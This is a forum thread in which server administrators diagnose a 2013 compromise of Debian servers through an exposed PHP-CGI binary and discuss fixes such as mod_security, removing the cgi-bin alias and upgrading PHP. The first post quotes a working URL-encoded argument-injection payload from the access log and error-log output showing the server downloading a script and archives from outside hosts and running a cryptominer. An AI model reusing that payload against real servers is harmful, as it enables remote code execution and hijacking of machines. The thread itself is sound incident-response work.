Hi Everyone, Over the past 24 hours, a number of servers running ISPConfig with Debian 5/6/7 have been hacked via the 000-default site in Apache sites: After much searching the access logs show's this: 80.237.159.104 - - [06/Nov/2013:21:09:03 +0000] "POST /cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 200 11 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25" The error.log show's what this 1 request does: [Wed Nov 06 21:09:03 2013] [error] [client 80.237.159.104] --2013-11-06 21:09:03-- http://190.210.190.155/wordpress/wp-content/plugins/akismet/ins [Wed Nov 06 21:09:03 2013] [error] [client 80.237.159.104] Connecting to 190.210.190.155:80... [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] connected. [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] HTTP request sent, awaiting response... [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] 200 OK [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] Length: 472 [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] Saving to: `ins' [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] 0K 100% [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] 24.9M=0s [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] 2013-11-06 21:09:04 (24.9 MB/s) - `ins' saved [472/472] [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] ins: line 1: kill: (26162) - No such process [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] ins: line 1: \r: command not found [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] ins: line 2: kill: (26167) - No such process [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] ins: line 2: \r: command not found [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] --2013-11-06 21:09:04-- http://83.168.244.29/temp/32.tar.gz [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] Connecting to 83.168.244.29:80... [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] connected. [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] HTTP request sent, awaiting response... [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] 200 OK [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] Length: [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] 169791 [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] (166K) [application/x-tar] [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] Saving to: `32.tar.gz' [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] 0K . [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] .. [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] . [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] .. [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] . [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] . [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] .. [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] . [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] . [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] 100% 2.36M=0.3s [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] 2013-11-06 21:09:05 (598 KB/s) - `64.tgz' saved [193180/193180] [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] ins: line 4: ./m64: No such file or directory [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] ins: line 4: \r: command not found [Wed Nov 06 21:09:07 2013] [error] [client 80.237.159.104] [2013-11-06 21:09:07] thread 2: 4096 hashes, 2.52 khash/s [Wed Nov 06 21:09:07 2013] [error] [client 80.237.159.104] [2013-11-06 21:09:07] thread 3: 4096 hashes, 2.49 khash/s [Wed Nov 06 21:09:07 2013] [error] [client 80.237.159.104] [2013-11-06 21:09:07] thread 1: 4096 hashes, 2.21 khash/s [Wed Nov 06 21:09:07 2013] [error] [client 80.237.159.104] [2013-11-06 21:09:07] thread 0: 4096 hashes, 2.13 khash/s [Wed Nov 06 21:09:17 2013] [error] [client 80.237.159.104] [2013-11-06 21:09:17] Stratum detected new block [Wed Nov 06 21:09:17 2013] [error] [client 80.237.159.104] [2013-11-06 21:09:17] thread 3: 25572 hashes, 2.51 khash/s [Wed Nov 06 21:09:17 2013] [error] [client 80.237.159.104] [2013-11-06 21:09:17] thread 2: 26820 hashes, 2.62 khash/s [Wed Nov 06 21:09:17 2013] [error] [client 80.237.159.104] [2013-11-06 21:09:17] thread 1: 23340 hashes, 2.33 khash/s [Wed Nov 06 21:09:17 2013] [error] [client 80.237.159.104] [2013-11-06 21:09:17] thread 0: 23932 hashes, 2.41 khash/s [Wed Nov 06 21:09:47 2013] [warn] [client 80.237.159.104] Timeout waiting for output from CGI script /usr/lib/cgi-bin/php5 Does anyone have advice on the best way to counteract this hack? The obvious thing to do is disable the alias to the /cgi-bin but going forward, this affects various versions of PHP from 5.2/5.3 and why are the Debian packages dumping /usr/lib/cgi-bin/php or /usr/lib/cgi-bin/php5 into a directory that is exploitable using the out of the box Debian configuration? Any ideas/help would be greatly appreciated. Keith
This is being discussed here: http://www.howtoforge.com/forums/showthread.php?t=63740 It is a "PHP 5.x Remote Code Execution Exploit". Basically you will need to install mod_security.
Like edge explained, its a current php cgi issue and not a ispconfig issue. The 000-default is the default debian vhost, it is not from ispconfig. The vhosts created by ispconfig are not vulnerable for this issue. You might have to ask this question to the debian developers. Possible solutions are: - Use mod_security - remove php and php5 from /usr/lib/cgi-bin/ directory if you dont use mailman on this server and no other scripts that use the default vhost for cgi, then you can even remove the whole: ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/ <Directory "/usr/lib/cgi-bin"> AllowOverride None Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch Order allow,deny Allow from all </Directory> section from the defaut vhost.
Which packages do you use? the regular debian packages or the ones from dotdb? Please post the output of: /usr/lib/cgi-bin/php5 -v
I'm using the DotDeb packages and have secured the server by removing the lines from the 000-default vhost. Seems odd that such an obvious hole hasn't been discovered before now and plugged as it's been sitting like that on my servers especially the Debian 5 ones for a few years (no lectures on why they haven't been upgraded - there is reason to the madness)
Are you sure that you use the latest packages? We have done some more research and for what we know until now the following packages are vulnerable: php5 from dotdeb until 5.3.11 (5.3.13 and later seems not to be vulnerable to this attack) php5 from debian repos 5.3.3-7+squeeze16/17 is not vulnerable, did not test earlier versions, yet. Please be so kind and post the version of your /usr/lib/cgi-bin/php5 -v Keep in mind that 5.3.3-6+squeeze16 is newer than php5.3.11 from dotdeb - due to the different versioning used. This is the post from dotdeb regarding the fix in 5.3.13, you see it has been fixed long time ago, so it seems lots of servers are somehow outdated in their php versions: http://www.dotdeb.org/2012/05/09/security-php-5-4-3-and-php-5-3-13/
I do not want to post the link to the sample exploit here, but packetstormsecurity has a python version of it on their page, so with that you can easily check if you are vulnerable, as well.
